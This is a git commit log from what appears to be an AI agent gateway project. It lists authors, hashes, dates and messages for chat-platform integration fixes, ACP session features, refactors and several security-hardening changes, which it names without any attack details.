* feat(macos): add chat model selector and thinking persistence UX

* Chat UI: carry session model providers

* Docs: add macOS model selector changelog

* macOS: persist extended thinking levels

* Chat UI: keep model picker state in sync

* Chat UI tests: cover model selection races

---------

Co-authored-by: Ubuntu <ubuntu@vps-90352893.vps.ovh.ca>
Co-authored-by: Vincent Koc <vincentkoc@ieee.org>
2026-03-11 00:43:04 -04:00
Ayaan Zaidi
bf70a333fa fix: clear pnpm prod audit vulnerabilities 2026-03-11 09:33:45 +05:30
Peter Steinberger
0aa79fc4d3 fix(build): restore full gate 2026-03-11 02:52:55 +00:00
Peter Steinberger
c91d1622d5 fix(gateway): split conversation reset from admin reset 2026-03-11 02:50:44 +00:00
Peter Steinberger
0ab8d20917 docs(changelog): note interpreter approval hardening 2026-03-11 02:45:10 +00:00
Josh Avant
0125ce1f44 Gateway: fail closed unresolved local auth SecretRefs (#42672)
* Gateway: fail closed unresolved local auth SecretRefs

* Docs: align node-host gateway auth precedence

* CI: resolve rebase breakages in checks lanes

* Tests: isolate LOCAL_REMOTE_FALLBACK_TOKEN env state

* Gateway: remove stale remote.enabled auth-surface semantics

* Changelog: note gateway SecretRef fail-closed fix
2026-03-10 21:41:56 -05:00
Peter Steinberger
a52104c235 test: restore fs bridge helper export 2026-03-11 02:38:00 +00:00
Peter Steinberger
a0d5462571 fix(security): pin staged writes and fs mutations 2026-03-11 02:38:00 +00:00
Peter Steinberger
daaf211e20 fix(node-host): fail closed on unbound interpreter approvals 2026-03-11 02:36:38 +00:00
Vincent Koc
f7f75519ad Deps: patch file-type and hono 2026-03-10 22:30:44 -04:00
Peter Steinberger
72b0e00eab refactor: unify sandbox fs bridge mutations 2026-03-11 02:10:23 +00:00
Shadow
841f3b4af5 Switch to org-wide funding.yml file 2026-03-10 20:55:08 -05:00
Peter Steinberger
aad014c7c1 fix: harden subagent control boundaries 2026-03-11 01:44:38 +00:00
Peter Steinberger
68c674d37c refactor(security): simplify system.run approval model 2026-03-11 01:43:06 +00:00
Peter Steinberger
5716e52417 refactor: unify gateway credential planning 2026-03-11 01:37:25 +00:00
Peter Steinberger
3a39dc4e18 refactor(security): unify config write target policy 2026-03-11 01:35:04 +00:00
Peter Steinberger
7289c19f1a fix(security): bind system.run approvals to exact argv text 2026-03-11 01:25:31 +00:00
Peter Steinberger
8eac939417 fix(security): enforce target account configWrites 2026-03-11 01:24:36 +00:00
Peter Steinberger
11924a7026 fix(sandbox): pin fs-bridge staged writes 2026-03-11 01:15:47 +00:00
Peter Steinberger
702f6f3305 fix: fail closed for unresolved local gateway auth refs 2026-03-11 01:14:06 +00:00
Peter Steinberger
ecdbd8aa52 fix(security): restrict leaf subagent control scope 2026-03-11 01:12:22 +00:00
Gustavo Madeira Santana
3ba6491659 Infra: extract backup and plugin path helpers 2026-03-10 20:16:35 -04:00
Peter Steinberger
f4a4b50cd5 refactor: compile allowlist matchers 2026-03-11 00:07:47 +00:00
Peter Steinberger
fa0329c340 test: cover cron nested lane selection 2026-03-11 00:02:00 +00:00
Peter Steinberger
f604cbedf3 fix: remove stale allowlist matcher cache 2026-03-11 00:00:04 +00:00
Peter Steinberger
825a435709 fix: avoid cron embedded lane deadlock 2026-03-10 23:56:21 +00:00
Peter Steinberger
8901032007 Merge remote-tracking branch 'origin/main' 2026-03-10 23:55:30 +00:00
Josh Avant
36d2ae2a22 SecretRef: harden custom/provider secret persistence and reuse (#42554)
* Models: gate custom provider keys by usable secret semantics

* Config: project runtime writes onto source snapshot

* Models: prevent stale apiKey preservation for marker-managed providers

* Runner: strip SecretRef marker headers from resolved models

* Secrets: scan active agent models.json path in audit

* Config: guard runtime-source projection for unrelated configs

* Extensions: fix onboarding type errors in CI

* Tests: align setup helper account-enabled expectation

* Secrets audit: harden models.json file reads

* fix: harden SecretRef custom/provider secret persistence (#42554) (thanks @joshavant)
2026-03-10 23:55:10 +00:00
Peter Steinberger
20237358d9 refactor: clarify archive staging intent 2026-03-10 23:54:12 +00:00
Peter Steinberger
0bac47de51 refactor: split tar.bz2 extraction helpers 2026-03-10 23:53:32 +00:00
Peter Steinberger
9c64508822 refactor: rename tar archive preflight checker 2026-03-10 23:52:51 +00:00
Peter Steinberger
6565ae1857 refactor: extract archive staging helpers 2026-03-10 23:52:31 +00:00
Peter Steinberger
658cf4bd94 fix: harden archive extraction destinations 2026-03-10 23:49:35 +00:00
Josh Avant
fbc66324ee SecretRef: harden custom/provider secret persistence and reuse (#42554)
* Models: gate custom provider keys by usable secret semantics

* Config: project runtime writes onto source snapshot

* Models: prevent stale apiKey preservation for marker-managed providers

* Runner: strip SecretRef marker headers from resolved models

* Secrets: scan active agent models.json path in audit

* Config: guard runtime-source projection for unrelated configs

* Extensions: fix onboarding type errors in CI

* Tests: align setup helper account-enabled expectation

* Secrets audit: harden models.json file reads

* fix: harden SecretRef custom/provider secret persistence (#42554) (thanks @joshavant)
2026-03-10 18:46:47 -05:00
Peter Steinberger
201420a7ee fix: harden secret-file readers 2026-03-10 23:40:10 +00:00
Peter Steinberger
208fb1aa35 test: share runtime group policy fallback cases 2026-03-10 22:20:19 +00:00
Peter Steinberger
344b2286aa refactor: share windows command shim resolution 2026-03-10 22:18:04 +00:00
Peter Steinberger
1df78202b9 refactor: share approval gateway client setup 2026-03-10 22:18:04 +00:00
Peter Steinberger
bc1cc2e50f refactor: share telegram payload send flow 2026-03-10 22:18:04 +00:00
Peter Steinberger
a455c0cc3d refactor: share passive account lifecycle helpers 2026-03-10 22:18:04 +00:00
Peter Steinberger
50ded5052f refactor: share channel config schema fragments 2026-03-10 22:18:04 +00:00
Peter Steinberger
4a8e039a5f refactor: share channel config security scaffolding 2026-03-10 22:18:04 +00:00
Peter Steinberger
725958c66f refactor: share onboarding secret prompt flows 2026-03-10 22:18:03 +00:00
Peter Steinberger
00170f8e1a refactor: share scoped account config patching 2026-03-10 22:18:03 +00:00
David Guttman
b517dc089a feat(discord): add autoArchiveDuration config option (#35065)
* feat(discord): add autoArchiveDuration config option

Add config option to control auto-archive duration for auto-created threads:

- autoArchiveDuration: 60 (default), 1440, 4320, or 10080
  - Sets archive duration in minutes (1hr/1day/3days/1week)
  - Accepts both string and numeric values
  - Discord's default was 60 minutes (hardcoded)

Example config:
```yaml
channels:
  discord:
    guilds:
      GUILD_ID:
        channels:
          CHANNEL_ID:
            autoThread: true
            autoArchiveDuration: 10080  # 1 week
```

* feat(discord): add autoArchiveDuration changelog entry (#35065) (thanks @davidguttman)

---------

Co-authored-by: Onur <onur@textcortex.com>
2026-03-10 23:13:24 +01:00
Josh Avant
a76e810193 fix(gateway): harden token fallback/reconnect behavior and docs (#42507)
* fix(gateway): harden token fallback and auth reconnect handling

* docs(gateway): clarify auth retry and token-drift recovery

* fix(gateway): tighten auth reconnect gating across clients

* fix: harden gateway token retry (#42507) (thanks @joshavant)
2026-03-10 17:05:57 -05:00
Rodrigo Uroz
ff2e7a2945 fix(acp): strip provider auth env for child ACP processes (openclaw#42250)
Verified:
- pnpm build
- pnpm check
- pnpm test:macmini

Co-authored-by: rodrigouroz <384037+rodrigouroz@users.noreply.github.com>
Co-authored-by: Tak Hoffman <781889+Takhoffman@users.noreply.github.com>
2026-03-10 16:50:10 -05:00
Matt Van Horn
5ed96da990 fix(browser): surface 429 rate limit errors with actionable hints (#40491)
Merged via squash.

Prepared head SHA: 13839c2dbd
Co-authored-by: mvanhorn <455140+mvanhorn@users.noreply.github.com>
Co-authored-by: altaywtf <9790196+altaywtf@users.noreply.github.com>
Reviewed-by: @altaywtf
2026-03-11 00:49:31 +03:00
Pejman Pour-Moezzi
7c76acafd6 fix(acp): scope cancellation and event routing by runId (#41331) 2026-03-10 22:37:21 +01:00
Onur
c00117aff2 docs: require codex review in contributing guide (#42503) 2026-03-10 22:15:00 +01:00
PonyX-lab
53374394fb Fix stale runtime model reuse on session reset (#41173)
Merged via squash.

Prepared head SHA: d8a04a466a
Co-authored-by: PonyX-lab <266766228+PonyX-lab@users.noreply.github.com>
Co-authored-by: jalehman <550978+jalehman@users.noreply.github.com>
Reviewed-by: @jalehman
2026-03-10 14:02:43 -07:00
Shadow
0c17e7c225 docs: document r: spam auto-close label 2026-03-10 16:00:34 -05:00
Shadow
b16ee34c34 fix(ci): auto-close and lock r: spam items 2026-03-10 15:58:24 -05:00
David Guttman
9f5dee32f6 fix(acp): implicit streamToParent for mode=run without thread (#42404)
* fix(acp): implicit streamToParent for mode=run without thread

When spawning ACP sessions with mode=run and no thread binding,
automatically route output to parent session instead of Discord.
This enables agent-to-agent supervision patterns where the spawning
agent wants results returned programmatically, not posted as chat.

The change makes sessions_spawn with runtime=acp and thread=false
behave like direct acpx invocation - output goes to the spawning
session, not to Discord.

Fixes the issue where mode=run without thread still posted to Discord
because hasDeliveryTarget was true when called from a Discord context.

* fix: use resolved spawnMode instead of params.mode

Move implicit streamToParent check to after resolveSpawnMode so that
both explicit mode="run" and omitted mode (which defaults to "run"
when thread is false) correctly trigger parent routing.

This fixes the issue where callers that rely on default mode selection
would not get the intended parent streaming behavior.

* fix: tighten implicit ACP parent relay gating (#42404) (thanks @davidguttman)

---------

Co-authored-by: Onur Solmaz <2453968+osolmaz@users.noreply.github.com>
2026-03-10 21:42:15 +01:00
Peter Steinberger
f209a9be80 test: extract sendpayload outbound contract suite 2026-03-10 20:35:03 +00:00
Peter Steinberger
158a3b49a7 test: deduplicate cli option collision fixtures 2026-03-10 20:34:54 +00:00
Peter Steinberger
283570de4d fix: normalize stale openai completions transport 2026-03-10 20:23:03 +00:00
Peter Steinberger
0976317f96 test: deduplicate diffs extension fixtures 2026-03-10 20:22:56 +00:00
Peter Steinberger
23cd997526 fix: make install smoke docker-driver safe 2026-03-10 20:02:26 +00:00
Peter Steinberger
6d4241cbd9 fix: wire modelstudio env discovery (#40634) (thanks @pomelo-nwu) 2026-03-10 19:58:43 +00:00
pomelo-nwu
95eaa08781 refactor: rename bailian to modelstudio and fix review issues
- Rename provider ID, constants, functions, CLI flags, and types from
  "bailian" to "modelstudio" to match the official English name
  "Alibaba Cloud Model Studio".
- Fix P2 bug: global endpoint variant now always overwrites baseUrl
  instead of silently preserving a stale CN URL.
- Fix P1 bug: add modelstudio entry to PROVIDER_ENV_VARS so
  secret-input-mode=ref no longer throws.
- Move Model Studio imports to top of onboard-auth.config-core.ts.
- Remove unused BAILIAN_BASE_URL export.

Made-with: Cursor
2026-03-10 19:58:43 +00:00
pomelo-nwu
77a35025e8 feat: integrate Alibaba Bailian Coding Plan into onboarding wizard 2026-03-10 19:58:43 +00:00
Nimrod Gutman
c2e41c57c9 fix(ios): make pairing instructions generic 2026-03-10 21:44:00 +02:00
Nimrod Gutman
6bcf89b09b feat(ios): refresh home canvas toolbar 2026-03-10 21:44:00 +02:00
Mariano Belinky
67746a12de iOS: add welcome home canvas 2026-03-10 21:44:00 +02:00
Onur
8ba1b6eff1 ci: add npm release workflow and CalVer checks (#42414) (thanks @onutc) 2026-03-10 20:09:25 +01:00
Altay
0ff184397d docs(telegram): clarify group and sender allowlists (#42451)
Merged via squash.

Prepared head SHA: f30cacafb3
Co-authored-by: altaywtf <9790196+altaywtf@users.noreply.github.com>
Co-authored-by: altaywtf <9790196+altaywtf@users.noreply.github.com>
Reviewed-by: @altaywtf
2026-03-10 21:56:30 +03:00
Josh Avant
b205de6154 Docs: add changelog entry for SecretRef traversal (#42455) 2026-03-10 13:52:50 -05:00
Josh Avant
d30dc28b8c Secrets: reject exec SecretRef traversal ids across schema/runtime/gateway (#42370)
* Secrets: harden exec SecretRef validation and reload LKG coverage

* Tests: harden exec fast-exit stdin regression case

* Tests: align lifecycle daemon test formatting with oxfmt 0.36
2026-03-10 13:45:37 -05:00
Josh Avant
0687e04760 fix: thread runtime config through Discord/Telegram sends (#42352) (thanks @joshavant) (#42352) 2026-03-10 13:30:57 -05:00
Yufeng He
c2d9386796 fix: log auth profile resolution failures instead of swallowing silently (#41271)
Merged via squash.

Prepared head SHA: 049d1e119a
Co-authored-by: he-yufeng <40085740+he-yufeng@users.noreply.github.com>
Co-authored-by: altaywtf <9790196+altaywtf@users.noreply.github.com>
Reviewed-by: @altaywtf
2026-03-10 20:38:49 +03:00
JiangNan
e9e8b81939 fix(failover): classify Gemini MALFORMED_RESPONSE as retryable timeout (#42292)
Merged via squash.

Prepared head SHA: 68f106ff49
Co-authored-by: jnMetaCode <12096460+jnMetaCode@users.noreply.github.com>
Co-authored-by: altaywtf <9790196+altaywtf@users.noreply.github.com>
Reviewed-by: @altaywtf
2026-03-10 20:34:32 +03:00
jiarung
bc9b35d6ce fix(logging): include model and provider in overload/error log (#41236)
Merged via squash.

Prepared head SHA: bb16fecbf7
Co-authored-by: jiarung <16461359+jiarung@users.noreply.github.com>
Co-authored-by: altaywtf <9790196+altaywtf@users.noreply.github.com>
Reviewed-by: @altaywtf
2026-03-10 20:32:14 +03:00
Ayaan Zaidi
3b582f1d54 fix(telegram): chunk long html outbound messages (#42240)
Merged via squash.

Prepared head SHA: 4d79c41ddf
Co-authored-by: obviyus <22031114+obviyus@users.noreply.github.com>
Co-authored-by: obviyus <22031114+obviyus@users.noreply.github.com>
Reviewed-by: @obviyus
2026-03-10 22:53:04 +05:30
CryUshio
8bf64f219a fix: recognize Poe 402 'used up your points' as billing for fallback (#42278)
Merged via squash.

Prepared head SHA: f3cdfa76dd
Co-authored-by: CryUshio <30655354+CryUshio@users.noreply.github.com>
Co-authored-by: altaywtf <9790196+altaywtf@users.noreply.github.com>
Reviewed-by: @altaywtf
2026-03-10 20:17:36 +03:00
Pejman Pour-Moezzi
466cc816a8 docs(acp): document resumeSessionId for session resume (#42280)
* docs(acp): document resumeSessionId for session resume

* docs: clarify ACP resumeSessionId thread/mode behavior (#42280) (thanks @pejmanjohn)

---------

Co-authored-by: Onur <onur@textcortex.com>
2026-03-10 18:06:09 +01:00
sline
bfeea5d23f fix(agents): prevent /v1beta duplication in Gemini PDF URL (#34369)
Strip trailing /v1beta from baseUrl before appending the version
segment, so callers that already include /v1beta in their base URL
(e.g. subagent-registry) no longer produce /v1beta/v1beta/models/…
which results in a 404 from the Gemini API.

Closes #34312

Co-authored-by: Claude Opus 4.6 <noreply@anthropic.com>
2026-03-10 12:52:49 -04:00
Ayaan Zaidi
936607ca22 ci: drop detect-secrets check 2026-03-10 20:35:23 +05:30
Ayaan Zaidi
ac88a39acc fix: align pi-ai 0.57.1 oauth imports and payload hooks 2026-03-10 20:29:03 +05:30
Vincent Koc
a7a5e01c4c Tests: cover emoji table alignment 2026-03-10 10:50:21 -04:00
Vincent Koc
1ec49e33f3 Terminal: wrap table cells by grapheme width 2026-03-10 10:50:11 -04:00
Vincent Koc
4efe7a4dcd Terminal: measure grapheme display width 2026-03-10 10:50:01 -04:00
Vincent Koc
7a8316706c Tests: cover grapheme terminal width 2026-03-10 10:49:39 -04:00
George Zhang
f50fc2966b docs: add #42173 to CHANGELOG — strip leaked model control tokens (#42216)
Thanks @imwyvern.
2026-03-10 07:19:13 -07:00
joshavant
59bc3c6630 Agents: align onPayload callback and OAuth imports 2026-03-10 08:50:30 -05:00
George Zhang
3508b4821b docs: add Tengji (George) Zhang to maintainer table (#42190) 2026-03-10 06:46:12 -07:00
George Zhang
309162f9a2 fix: strip leaked model control tokens from user-facing text (#42173)
Models like GLM-5 and DeepSeek sometimes emit internal delimiter tokens in their responses. Uses generic pattern in the text extraction pipeline, following the same architecture as stripMinimaxToolCallXml.

Closes #40020
Supersedes #40573

Co-authored-by: imwyvern <100903837+imwyvern@users.noreply.github.com>
2026-03-10 06:27:59 -07:00
Vincent Koc
208b636414 Changelog: add unreleased March 9 entries 2026-03-10 08:51:12 -04:00
Vincent Koc
ccc7003360 Changelog: add unreleased March 9 entries 2026-03-10 08:50:30 -04:00
smysle
d340ea92d1 chore: add .dev-state to .gitignore (#41848)
Merged via squash.

Prepared head SHA: 85c4eb7d26
Co-authored-by: smysle <207193754+smysle@users.noreply.github.com>
Co-authored-by: hydro13 <6640526+hydro13@users.noreply.github.com>
Reviewed-by: @hydro13
2026-03-10 13:35:04 +01:00
Charles Dusek
048e25c2b2 fix(agents): avoid duplicate same-provider cooldown probes in fallback runs (#41711)
Merged via squash.

Prepared head SHA: 8be8967bcb
Co-authored-by: cgdusek <38732970+cgdusek@users.noreply.github.com>
Co-authored-by: altaywtf <9790196+altaywtf@users.noreply.github.com>
Reviewed-by: @altaywtf
2026-03-10 15:26:47 +03:00
Echo
bda63c3c7f fix(mattermost): preserve markdown formatting and native tables (#18655)
Merged via squash.

Prepared head SHA: d30fff1776
Co-authored-by: echo931 <259437483+echo931@users.noreply.github.com>
Co-authored-by: mukhtharcm <56378562+mukhtharcm@users.noreply.github.com>
Reviewed-by: @mukhtharcm
2026-03-10 17:40:01 +05:30
Pejman Pour-Moezzi
aca216bfcf feat(acp): add resumeSessionId to sessions_spawn for ACP session resume (#41847)
* feat(acp): add resumeSessionId to sessions_spawn for ACP session resume

Thread resumeSessionId through the ACP session spawn pipeline so agents
can resume existing sessions (e.g. a prior Codex conversation) instead
of starting fresh.

Flow: sessions_spawn tool → spawnAcpDirect → initializeSession →
ensureSession → acpx --resume-session flag → agent session/load

- Add resumeSessionId param to sessions-spawn-tool schema with
  description so agents can discover and use it
- Thread through SpawnAcpParams → AcpInitializeSessionInput →
  AcpRuntimeEnsureInput → acpx extension runtime
- Pass as --resume-session flag to acpx CLI
- Error hard (exit 4) on non-existent session, no silent fallback
- All new fields optional for backward compatibility

Depends on acpx >= 0.1.16 (openclaw/acpx#85, merged, pending release).

Tests: 26/26 pass (runtime + tool schema)
Verified e2e: Discord → sessions_spawn(resumeSessionId) → Codex
resumed session and recalled stored secret.

🤖 AI-assisted

* fix: guard resumeSessionId against non-ACP runtime

Add early-return error when resumeSessionId is passed without
runtime="acp" (mirrors existing streamTo guard). Without this,
the parameter is silently ignored and the agent gets a fresh
session instead of resuming.

Also update schema description to note the runtime=acp requirement.

Addresses Greptile review feedback.

* ACP: add changelog entry for session resume (#41847) (thanks @pejmanjohn)

---------

Co-authored-by: Pejman Pour-Moezzi <481729+pejmanjohn@users.noreply.github.com>
Co-authored-by: Onur <onur@textcortex.com>
2026-03-10 10:36:13 +01:00
Bob
c2eb12bbc5 ACPX: bump bundled acpx to 0.1.16 (#41975)
* ACPX: bump bundled acpx to 0.1.16

* fix: bump acpx pin to 0.1.16 (#41975) (thanks @dutifulbob)

---------

Co-authored-by: Onur <2453968+osolmaz@users.noreply.github.com>
2026-03-10 10:18:09 +01:00
Teconomix
6d0547dc2e mattermost: fix DM media upload for unprefixed user IDs (#29925)
Merged via squash.

Prepared head SHA: 5cffcb072c
Co-authored-by: teconomix <6959299+teconomix@users.noreply.github.com>
Co-authored-by: mukhtharcm <56378562+mukhtharcm@users.noreply.github.com>
Reviewed-by: @mukhtharcm
2026-03-10 14:22:24 +05:30
Brad Groux
568b0a22bb fix(msteams): use General channel conversation ID as team key for Bot Framework compatibility (#41838)
* fix(msteams): use General channel conversation ID as team key for Bot Framework compatibility

Bot Framework sends `activity.channelData.team.id` as the General channel's
conversation ID (e.g. `19:abc@thread.tacv2`), not the Graph API group GUID
(e.g. `fa101332-cf00-431b-b0ea-f701a85fde81`). The startup resolver was
storing the Graph GUID as the team config key, so runtime matching always
failed and every channel message was silently dropped.

Fix: always call `listChannelsForTeam` during resolution to find the General
channel, then use its conversation ID as the stored `teamId`. When a specific
channel is also configured, reuse the same channel list rather than issuing a
second API call. Falls back to the Graph GUID if the General channel cannot
be found (renamed/deleted edge case).

Fixes #41390

* fix(msteams): handle listChannelsForTeam failure gracefully

* fix(msteams): trim General channel ID and guard against empty string

* fix: document MS Teams allowlist team-key fix (#41838) (thanks @BradGroux)

---------

Co-authored-by: bradgroux <bradgroux@users.noreply.github.com>
Co-authored-by: Onur <onur@textcortex.com>
2026-03-10 09:13:41 +01:00
Daniel Hnyk
450d49ea52 fix(mattermost): read replyTo param in plugin handleAction send (#41176)
Merged via squash.

Prepared head SHA: 33cac4c33f
Co-authored-by: hnykda <2741256+hnykda@users.noreply.github.com>
Co-authored-by: mukhtharcm <56378562+mukhtharcm@users.noreply.github.com>
Reviewed-by: @mukhtharcm
2026-03-10 13:19:54 +05:30
Daniel Reis
3495563cfe fix(sandbox): pass real workspace to sessions_spawn when workspaceAccess is ro (#40757)
Merged via squash.

Prepared head SHA: 0e8b27bf80
Co-authored-by: dsantoreis <66363641+dsantoreis@users.noreply.github.com>
Co-authored-by: mcaxtr <7562095+mcaxtr@users.noreply.github.com>
Reviewed-by: @mcaxtr
2026-03-10 04:12:50 -03:00
Austin
9d403fd415 fix(ui): replace Manual RPC text input with sorted method dropdown (#14967)
Merged via squash.

Prepared head SHA: 1bb49b2e64
Co-authored-by: rixau <112558420+rixau@users.noreply.github.com>
Co-authored-by: BunsDev <68980965+BunsDev@users.noreply.github.com>
Reviewed-by: @BunsDev
2026-03-10 01:30:31 -05:00
Val Alexander
5296147c20 CI: select Swift 6.2 toolchain for CodeQL (#41787)
Merged via squash.

Prepared head SHA: 8abc6c1657
Co-authored-by: BunsDev <68980965+BunsDev@users.noreply.github.com>
Co-authored-by: BunsDev <68980965+BunsDev@users.noreply.github.com>
Reviewed-by: @BunsDev
2026-03-10 01:22:41 -05:00
Frank Yang
8306eabf85 fix(agents): forward memory flush write path (#41761)
Merged via squash.

Prepared head SHA: 0a8ebf8e5b
Co-authored-by: frankekn <4488090+frankekn@users.noreply.github.com>
Co-authored-by: frankekn <4488090+frankekn@users.noreply.github.com>
Reviewed-by: @frankekn
2026-03-10 14:18:41 +08:00
Eugene
45b74fb56c fix(telegram): move network fallback to resolver-scoped dispatchers (#40740)
Merged via squash.

Prepared head SHA: a4456d48b4
Co-authored-by: sircrumpet <4436535+sircrumpet@users.noreply.github.com>
Co-authored-by: obviyus <22031114+obviyus@users.noreply.github.com>
Reviewed-by: @obviyus
2026-03-10 11:28:51 +05:30
Urian Paul Danut
d1a59557b5 fix(security): harden replaceMarkers() to catch space/underscore boundary marker variants (#35983)
Merged via squash.

Prepared head SHA: ff07dc45a9
Co-authored-by: urianpaul94 <33277984+urianpaul94@users.noreply.github.com>
Co-authored-by: frankekn <4488090+frankekn@users.noreply.github.com>
Reviewed-by: @frankekn
2026-03-10 13:54:23 +08:00
Laurie Luo
cf9db91b61 fix(web-search): recover OpenRouter Perplexity citations from message annotations (#40881)
Merged via squash.

Prepared head SHA: 66c8bb2c6a
Co-authored-by: laurieluo <89195476+laurieluo@users.noreply.github.com>
Co-authored-by: obviyus <22031114+obviyus@users.noreply.github.com>
Reviewed-by: @obviyus
2026-03-10 10:37:44 +05:30
futuremind2026
382287026b cron: record lastErrorReason in job state (#14382)
Merged via squash.

Prepared head SHA: baa6b5d566
Co-authored-by: futuremind2026 <258860756+futuremind2026@users.noreply.github.com>
Co-authored-by: BunsDev <68980965+BunsDev@users.noreply.github.com>
Reviewed-by: @BunsDev
2026-03-10 00:01:45 -05:00
Wayne
da4fec6641 fix(telegram): prevent duplicate messages when preview edit times out (#41662)
Merged via squash.

Prepared head SHA: 2780e62d07
Co-authored-by: hougangdev <105773686+hougangdev@users.noreply.github.com>
Co-authored-by: obviyus <22031114+obviyus@users.noreply.github.com>
Reviewed-by: @obviyus
2026-03-10 10:17:39 +05:30
Frank Yang
96e4975922 fix: protect bootstrap files during memory flush (#38574)
Merged via squash.

Prepared head SHA: a0b9a02e2e
Co-authored-by: frankekn <4488090+frankekn@users.noreply.github.com>
Co-authored-by: frankekn <4488090+frankekn@users.noreply.github.com>
Reviewed-by: @frankekn
2026-03-10 12:44:33 +08:00
Benji Peng
989ee21b24 ui: fix sessions table collapse on narrow widths (#12175)
Merged via squash.

Prepared head SHA: b1fcfba868
Co-authored-by: benjipeng <11394934+benjipeng@users.noreply.github.com>
Co-authored-by: BunsDev <68980965+BunsDev@users.noreply.github.com>
Reviewed-by: @BunsDev
2026-03-09 23:14:07 -05:00
Tak Hoffman
705c6a422d Add provider routing details to bug report form (#41712) 2026-03-09 23:01:55 -05:00
Josh Avant
f0eb67923c fix(secrets): resolve web tool SecretRefs atomically at runtime 2026-03-09 22:57:03 -05:00
Ayaan Zaidi
93c44e3dad ci: drop gha cache from docker release (#41692) 2026-03-10 09:14:57 +05:30
Shadow
e42c4f4513 docs: harden PR review gates against unsubstantiated fixes 2026-03-09 22:43:56 -05:00
Ayane
391f9430ca fix(feishu): pass mediaLocalRoots in sendText local-image auto-convert shim (openclaw#40623)
Verified:
- pnpm build
- pnpm check
- pnpm test:macmini

Co-authored-by: ayanesakura <40628300+ayanesakura@users.noreply.github.com>
Co-authored-by: Tak Hoffman <781889+Takhoffman@users.noreply.github.com>
2026-03-09 22:26:06 -05:00
Ayaan Zaidi
e74666cd0a build: raise extension openclaw peer floor 2026-03-10 08:47:56 +05:30
Ayaan Zaidi
731f1aa906 test: avoid detect-secrets churn in observation fixtures 2026-03-10 08:43:19 +05:30
Harold Hunt
de49a8b72c Telegram: exec approvals for OpenCode/Codex (#37233)
Merged via squash.

Prepared head SHA: f243379094
Co-authored-by: huntharo <5617868+huntharo@users.noreply.github.com>
Co-authored-by: huntharo <5617868+huntharo@users.noreply.github.com>
Reviewed-by: @huntharo
2026-03-09 23:04:35 -04:00
Ayaan Zaidi
9432a8bb3f test: allowlist detect-secrets fixture strings 2026-03-10 08:14:35 +05:30
Zhe Liu
25c2facc2b fix(agents): fix Brave llm-context empty snippets (#41387)
Merged via squash.

Prepared head SHA: 1e6f1d9d51
Co-authored-by: zheliu2 <15888718+zheliu2@users.noreply.github.com>
Co-authored-by: obviyus <22031114+obviyus@users.noreply.github.com>
Reviewed-by: @obviyus
2026-03-10 08:09:57 +05:30
Shadow
1720174757 fix: auto-close no-ci PR label and document triage labels 2026-03-09 21:30:47 -05:00
Neerav Makwana
5decb00e9d fix(swiftformat): sync GatewayModels exclusions with OpenClawProtocol (#41242)
Co-authored-by: Shadow <shadow@openclaw.ai>
2026-03-09 20:42:54 -05:00
Val Alexander
6b87489890 Revert "feat(ui): add chat infrastructure modules (slice 1 of dashboard-v2)"
This reverts commit 5a659b0b61.
2026-03-09 18:47:44 -05:00
Val Alexander
9f0a64f855 Revert "Update ui/src/ui/chat/export.ts"
This reverts commit d648dd7643.
2026-03-09 18:47:40 -05:00
Val Alexander
8e412bad0e Revert "fix(ui): address review feedback on chat infra slice"
This reverts commit 8a6cd808a1.
2026-03-09 18:47:37 -05:00
Val Alexander
8a6cd808a1 fix(ui): address review feedback on chat infra slice
- export.ts: handle array content blocks (Claude API format) instead
  of silently exporting empty strings
- slash-command-executor.ts: restrict /kill all to current session's
  subagent subtree instead of all sessions globally
- slash-command-executor.ts: only count truly aborted runs (check
  aborted !== false) in /kill summary
2026-03-09 18:34:47 -05:00
Val Alexander
d648dd7643 Update ui/src/ui/chat/export.ts
Co-authored-by: greptile-apps[bot] <165735046+greptile-apps[bot]@users.noreply.github.com>
2026-03-09 18:34:47 -05:00
Val Alexander
5a659b0b61 feat(ui): add chat infrastructure modules (slice 1 of dashboard-v2)
New self-contained chat modules extracted from dashboard-v2-structure:

- chat/slash-commands.ts: slash command definitions and completions
- chat/slash-command-executor.ts: execute slash commands via gateway RPC
- chat/slash-command-executor.node.test.ts: test coverage
- chat/speech.ts: speech-to-text (STT) support
- chat/input-history.ts: per-session input history navigation
- chat/pinned-messages.ts: pinned message management
- chat/deleted-messages.ts: deleted message tracking
- chat/export.ts: shared exportChatMarkdown helper
- chat-export.ts: re-export shim for backwards compat

Gateway fix:
- Restore usage/cost stripping in chat.history sanitization
- Add test coverage for sanitization behavior

These modules are additive and tree-shaken — no existing code
imports them yet. They will be wired in subsequent slices.
2026-03-09 18:34:47 -05:00
Julia Barth
c0cba7fb72 Fix one-shot exit hangs by tearing down cached memory managers (#40389)
Merged via squash.

Prepared head SHA: 0e600e89cf
Co-authored-by: Julbarth <72460857+Julbarth@users.noreply.github.com>
Co-authored-by: frankekn <4488090+frankekn@users.noreply.github.com>
Reviewed-by: @frankekn
2026-03-10 07:34:46 +08:00
Vincent Koc
b48291e01e Exec: mark child command env with OPENCLAW_CLI (#41411) 2026-03-09 19:14:08 -04:00
Xinhua Gu
4790e40ac6 fix(plugins): expose model auth API to context-engine plugins (#41090)
Merged via squash.

Prepared head SHA: ee96e96bb9
Co-authored-by: xinhuagu <562450+xinhuagu@users.noreply.github.com>
Co-authored-by: jalehman <550978+jalehman@users.noreply.github.com>
Reviewed-by: @jalehman
2026-03-09 16:07:26 -07:00
alan blount
c9a6c542ef Add HTTP 499 to transient error codes for model fallback (#41468)
Merged via squash.

Prepared head SHA: 0053bae140
Co-authored-by: zeroasterisk <23422+zeroasterisk@users.noreply.github.com>
Co-authored-by: altaywtf <9790196+altaywtf@users.noreply.github.com>
Reviewed-by: @altaywtf
2026-03-10 01:55:10 +03:00
Altay
de4c3db3e3 Logging: harden probe suppression for observations (#41338)
Merged via squash.

Prepared head SHA: d18356cb80
Co-authored-by: altaywtf <9790196+altaywtf@users.noreply.github.com>
Co-authored-by: altaywtf <9790196+altaywtf@users.noreply.github.com>
Reviewed-by: @altaywtf
2026-03-10 01:40:15 +03:00
Hermione
64746c150c fix(discord): apply effective maxLinesPerMessage in live replies (#40133)
Merged via squash.

Prepared head SHA: 031d032534
Co-authored-by: rbutera <6047293+rbutera@users.noreply.github.com>
Co-authored-by: altaywtf <9790196+altaywtf@users.noreply.github.com>
Reviewed-by: @altaywtf
2026-03-10 01:30:24 +03:00
Mariano
56f787e3c0 build(protocol): regenerate Swift models after pending node work schemas (#41477)
Merged via squash.

Prepared head SHA: cae0aaf1c2
Co-authored-by: mbelinky <132747814+mbelinky@users.noreply.github.com>
Co-authored-by: mbelinky <132747814+mbelinky@users.noreply.github.com>
